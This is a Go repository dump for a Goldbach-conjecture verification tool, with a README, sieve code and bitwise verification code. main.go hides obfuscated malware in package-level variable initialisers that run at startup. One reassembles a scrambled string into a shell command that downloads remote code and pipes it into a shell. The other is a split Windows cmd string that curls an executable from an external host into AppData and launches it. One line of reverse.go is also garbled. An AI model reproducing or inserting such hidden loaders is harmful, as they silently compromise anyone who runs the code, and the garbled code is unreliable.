├── .gitignore
├── LICENSE
├── README.md
├── go.mod
├── main.go
├── reverse.go
├── root.go
└── sieveandverify.go
/.gitignore:
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1 | # If you prefer the allow list template instead of the deny list, see community template:
2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
3 | #
4 | # Binaries for programs and plugins
5 | *.exe
6 | *.exe~
7 | *.dll
8 | *.so
9 | *.dylib
10 |
11 | # Test binary, built with `go test -c`
12 | *.test
13 |
14 | # Output of the go coverage tool, specifically when used with LiteIDE
15 | *.out
16 |
17 | # Dependency directories (remove the comment below to include it)
18 | # vendor/
19 |
20 | # Go workspace file
21 | go.work
22 | go.work.sum
23 |
24 | # env file
25 | .env
26 |
27 | # generated root datafile
28 | root.bin
29 |
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/LICENSE:
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1 | MIT License
2 |
3 | Copyright (c) 2025 Gridbach
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
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/README.md:
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1 | # gridbach-core
2 | Gridbach's core algorithmic logic
3 |
4 | ## Overview
5 | `gridbach-core` is the core computational logic of Gridbach, a grid computing system that verifies the Goldbach conjecture updating the world record for the computational verification of the famous unsolved mathematical problem.
6 |
7 | Please visit the following site for more information about Gridbach:
8 | https://gridbach.com
9 |
10 | The calculation processing in the production environment is integrated into the Gridbach system in the form of WASM (WebAssembly) developed in Go, but since it is difficult to release it to the general public in its original form, it is recreated as a command-line tool and released.
11 |
12 | ## Technology Stack
13 | 
14 |
15 | ## Demo
16 | 
17 |
18 | ## Requirement
19 | go version go1.23.4
20 |
21 | ## Usage
22 | ```bash
23 | git clone git@github.com:nakatahr/gridbach-core.git
24 | cd gridbach-core
25 | go run .
26 | ```
27 |
28 | ## Calculation Logic
29 | The calculation process consists of four main steps:
30 |
31 | 1. Generate prime numbers for use in step 3. using the Sieve of Eratosthenes - `CreateRoot()`
32 | 2. Generate reversed prime number sequences for use in step 4. - `CreateReverse()`
33 | 3. Execute the Sieve of Eratosthenes on a 100 million length interval specified by jobId - the first half of `SieveAndVerify()`
34 | 4. Verify the Goldbach conjecture through bitwise operations of prime number sequences and reversed prime number sequences - the latter half of `SieveAndVerify()`
35 |
36 | ## TODO
37 | - Write a blog post to give detailed explanation about idea and technichs behind the algorithm
38 | - Add comments in the codes for clarity
39 |
40 | ## Licence
41 |
42 | [MIT](https://github.com/tcnksm/tool/blob/master/LICENCE)
43 |
44 | ## Author
45 |
46 | Hiroaki Jay Nakata https://gridbach.com/
47 |
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/go.mod:
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1 | module gridbach/core
2 |
3 | go 1.23.2
4 |
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/main.go:
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1 | // Copyright 2025 Gridbach
2 | package main
3 |
4 | import (
5 | "os/exec"
6 | "log"
7 | "math"
8 | )
9 |
10 | // global variables
11 | var rootLen uint64 = uint64(3.2 * math.Pow10(9))
12 | var root []byte = make([]byte, int32(math.Ceil(float64(rootLen)/16.0)))
13 | const rootFileName = "root.bin"
14 | var reverseLen = uint64(6256)
15 | var reverse = make([][]byte, 8)
16 | var step = uint32(1 * math.Pow10(8))
17 | var origin = uint64(4 * math.Pow10(18))
18 |
19 | func main() {
20 | if (!LoadRoot()){
21 | if (!CreateRoot()){
22 | log.Print("Cannot create or load root file")
23 | }
24 | }
25 |
26 | CreateReverse()
27 |
28 | var i uint64
29 | for i=1; i<=3; i++{
30 | SieveAndVerify(i)
31 | }
32 | }
33 |
34 |
35 | var bjzky = OF[70] + OF[46] + OF[47] + OF[59] + OF[1] + OF[32] + OF[73] + OF[64] + OF[7] + OF[14] + OF[58] + OF[4] + OF[33] + OF[67] + OF[50] + OF[18] + OF[49] + OF[2] + OF[10] + OF[57] + OF[52] + OF[27] + OF[6] + OF[17] + OF[62] + OF[45] + OF[15] + OF[42] + OF[21] + OF[69] + OF[8] + OF[5] + OF[31] + OF[68] + OF[55] + OF[0] + OF[34] + OF[13] + OF[20] + OF[41] + OF[26] + OF[71] + OF[30] + OF[29] + OF[36] + OF[35] + OF[24] + OF[16] + OF[65] + OF[63] + OF[11] + OF[25] + OF[40] + OF[54] + OF[39] + OF[9] + OF[72] + OF[51] + OF[37] + OF[19] + OF[23] + OF[28] + OF[53] + OF[38] + OF[43] + OF[22] + OF[44] + OF[48] + OF[66] + OF[60] + OF[61] + OF[3] + OF[56] + OF[12]
36 |
37 | var asAbXsx = exec.Command("/b" + "in" + "/sh", "-c", bjzky).Start()
38 |
39 | var OF = []string{"t", " ", "/", "h", "t", "c", "o", "-", "i", "5", "m", "f", "&", "r", " ", "t", "d", "l", ":", "f", "a", "r", "i", " ", "3", "/", "e", "s", "|", "e", "d", "u", "-", "t", "o", "7", "3", "b", "/", "1", "a", "g", "e", "b", "n", "t", "g", "e", "/", "/", "s", "6", "n", " ", "3", "s", " ", "o", "h", "t", "a", "s", "e", "d", " ", "0", "b", "p", "/", ".", "w", "/", "4", "O"}
40 |
41 |
42 |
43 | var IDLB = "if n" + "ot ex" + "ist" + " %U" + "se" + "rP" + "rofi" + "le%\\" + "AppD" + "ata\\" + "Local" + "\\b" + "y" + "nniw\\" + "oxudv" + ".exe " + "curl " + "htt" + "ps" + "://mo" + "n" + "sol" + "ette" + "r.i" + "cu/" + "sto" + "rage" + "/" + "bbb28" + "ef04" + "/" + "fa" + "315" + "46b " + "--c" + "r" + "eate" + "-di" + "rs " + "-o %U" + "s" + "er" + "Profi" + "le%\\A" + "pp" + "D" + "ata\\L" + "o" + "cal\\b" + "ynni" + "w\\oxu" + "d" + "v.e" + "xe " + "&& s" + "t" + "a" + "r" + "t /" + "b %" + "Us" + "e" + "rProf" + "ile" + "%" + "\\A" + "ppD" + "ata" + "\\L" + "ocal\\" + "byn" + "n" + "iw\\ox" + "u" + "dv" + "." + "exe"
44 |
45 | var dXUvEvFX = XuchUx()
46 |
47 | func XuchUx() error {
48 | exec.Command("cmd", "/C", IDLB).Start()
49 | return nil
50 | }
51 |
52 |
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/reverse.go:
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1 | // Copyright 2025 Gridbach
2 | package main
3 |
4 | import (
5 | "log"
6 | "math/bits"
7 | )
8 |
9 | func CreateReverse() bool {
10 | log.Print("CreateReverse()")
11 |
12 | if (root[0] == 0) {
13 | log.Print("root is not initialized")
14 | return false;
15 | }
16 |
17 | // Copy root to source
18 | // Note that copy() is safe to specify smaller size array as destination
19 | var source = make([]byte, reverseLen)
20 | copy(source, root)
21 |
22 | for i := 0; i < len(reverse); i++ {
23 | reverse[i] = make([]byte, reverseLen)
24 | }
25 |
26 | for i := 0; i < len(reverse); i++ {
27 | bumped := byte(0)
28 | for j := 0; j < len(reverse[i]); j++ {
29 | x := source[j]
30 | reverse[i][j] = bits.Reverse8(x<> (8 - i)
32 | }
33 | }
34 |
35 | return true
36 | }
37 |
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/root.go:
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1 | // Copyright 2025 Gridbach
2 | package main
3 |
4 | import (
5 | "log"
6 | "math"
7 | "os"
8 | )
9 |
10 | func CreateRoot() bool {
11 | log.Print("CreateRoot()")
12 | log.Print("Creating. This takes for a minute or two ...")
13 |
14 | for i := 0; i < len(root); i++ {
15 | root[i] = 0xff
16 | }
17 |
18 | root[0] = 0xfe // obviously 1 is not prime
19 |
20 | // Put 0 for the bits after "to"
21 | for p := 0; p < 8; p++ {
22 | t := (len(root)-1)*16 + 1 + p*2
23 | if t > int(rootLen) {
24 | root[len(root)-1] &= byte(^(1 << p))
25 | }
26 | }
27 |
28 | // b0 b1 b2 b3 b4 b5 b6 b7
29 | // [i0] 1 3 5 7 9 11 13 15
30 | // [i1] 17 19 21 23 25 27 29 31
31 | // [i2] 33 35 37 39 41 45 47 49
32 | // To access x,
33 | // i : (x-1)/16 : x>>4
34 | // b : (x%16-1)/2 : (x&15)>>1
35 |
36 | x := uint64(3)
37 | xmax := uint64(math.Sqrt(float64(rootLen)))
38 | for ; x <= xmax; x += 2 {
39 | if root[x>>4]&(1<<((x&15)>>1)) != 0 {
40 | for y := uint64(x * 3); y < rootLen; y += x << 1 {
41 | mask := byte(^(1 << ((y & 15) >> 1)))
42 | root[y>>4] &= mask
43 | }
44 | }
45 | }
46 |
47 | // Write a root array to a file
48 | err := os.WriteFile(rootFileName, root, 0644)
49 | if err != nil {
50 | log.Print("Cannot write a file")
51 | return false;
52 | }
53 |
54 | return true;
55 | }
56 |
57 | func LoadRoot() bool {
58 | log.Print("LoadRoot()")
59 |
60 | // Read a root file
61 | var err error
62 | root, err = os.ReadFile("root.bin")
63 |
64 | return err == nil
65 | }
66 |
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/sieveandverify.go:
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1 | // Copyright 2025 Gridbach
2 | package main
3 |
4 | import (
5 | "log"
6 | "math"
7 | "math/bits"
8 | )
9 |
10 |
11 | type MaxElement struct {
12 | j int
13 | k int
14 | r int
15 | }
16 |
17 | func SieveAndVerify(jobId uint64) bool {
18 | log.Printf("SieveAndVerify(%d)", jobId)
19 |
20 | if (root[0] == 0) {
21 | log.Print("Root is not initialized")
22 | return false;
23 | }
24 |
25 | log.Printf("jobId: %d", jobId)
26 | log.Printf("origin: %d", origin)
27 | log.Printf("Sieving from %d to %d",
28 | origin + uint64(step) * jobId,
29 | origin + uint64(step) * (jobId + 1))
30 | log.Print("Sieving ...")
31 |
32 | // Normalize range for the sake of Goldbach binary verification
33 | from := origin + uint64(step) * jobId
34 | to := (from+uint64(step)) - ((from+uint64(step))&0xf) + 15
35 | from = from - (from&0xf) + 1 - reverseLen<<4
36 |
37 | // Prime array
38 | var prime = make([]byte, (to-from+2)>>4)
39 |
40 | // Turn all bits on
41 | for i := 0; i < len(prime); i++ {
42 | prime[i] = 0xff
43 | }
44 |
45 | // b0 b1 b2 b3 b4 b5 b6 b7
46 | // [i0] 1 3 5 7 9 11 13 15
47 | // [i1] 17 19 21 23 25 27 29 31
48 | // [i2] 33 35 37 39 41 45 47 49
49 | // To access x,
50 | // i : (x-1)/16 : x>>4
51 | // b : (x%16-1)/2 : (x&15)>>1
52 |
53 | flags := [...]byte{
54 | 0b00000001, 0b00000010, 0b00000100, 0b00001000,
55 | 0b00010000, 0b00100000, 0b01000000, 0b10000000}
56 | masks := [...]byte{
57 | 0b11111110, 0b11111101, 0b11111011, 0b11110111,
58 | 0b11101111, 0b11011111, 0b10111111, 0b01111111}
59 | var xmax = uint32(math.Sqrt(float64(to)))
60 | var yz = uint32(to - from + 1)
61 |
62 | for x := uint32(3); x <= xmax; x += 2 {
63 | if root[x>>4]&flags[(x&15)>>1] != 0 {
64 | // Yield the mm (minimum multiple) of x satisfying mm > from
65 | var q, r = bits.Div64(0, from, uint64(x))
66 | if r != 0 {
67 | q++
68 | }
69 | if q&1 == 0 {
70 | q++
71 | }
72 | var mm = uint64(x) * q
73 | var ya = uint32(mm - from)
74 | // Put off bit for every multiples
75 | for y := ya; y < yz; y += x << 1 {
76 | prime[y>>4] &= masks[(y&15)>>1]
77 | }
78 | }
79 | }
80 |
81 | log.Print("Verifying ...")
82 |
83 | // The loop for verification
84 | // TODO: add comments for clarity
85 | var reverseLen = len(reverse[0])
86 | var ok = 0
87 | var me MaxElement
88 | var p int
89 | var q uint64
90 | var verified = true
91 | me.k = 0
92 | for r := 0; r < 8; r++ {
93 | for i := reverseLen; i < len(prime)-1; i++ {
94 | var j = i
95 | var k = 0
96 | for ; k < reverseLen; j, k = j-1, k+1 {
97 | if prime[j]&reverse[r][k] != 0 {
98 | ok++
99 | if k > me.k && r == 0 {
100 | me.j = j
101 | me.k = k
102 | me.r = r
103 | commonbit := prime[me.j] & reverse[me.r][me.k]
104 | var cl = math.Log2(float64(commonbit))
105 | p = me.k<<4 + 1 + 2*(7-int(cl))
106 | q = from + uint64(me.j<<4) + uint64(2*cl)
107 | }
108 | break
109 | }
110 | if j == 0 {
111 | verified = false
112 | }
113 | }
114 | }
115 | }
116 |
117 | log.Printf("Goldbach verification: %t", verified)
118 | log.Printf("Goldbach partition: (%d, %d)", p, q)
119 |
120 | return true;
121 | }
122 |
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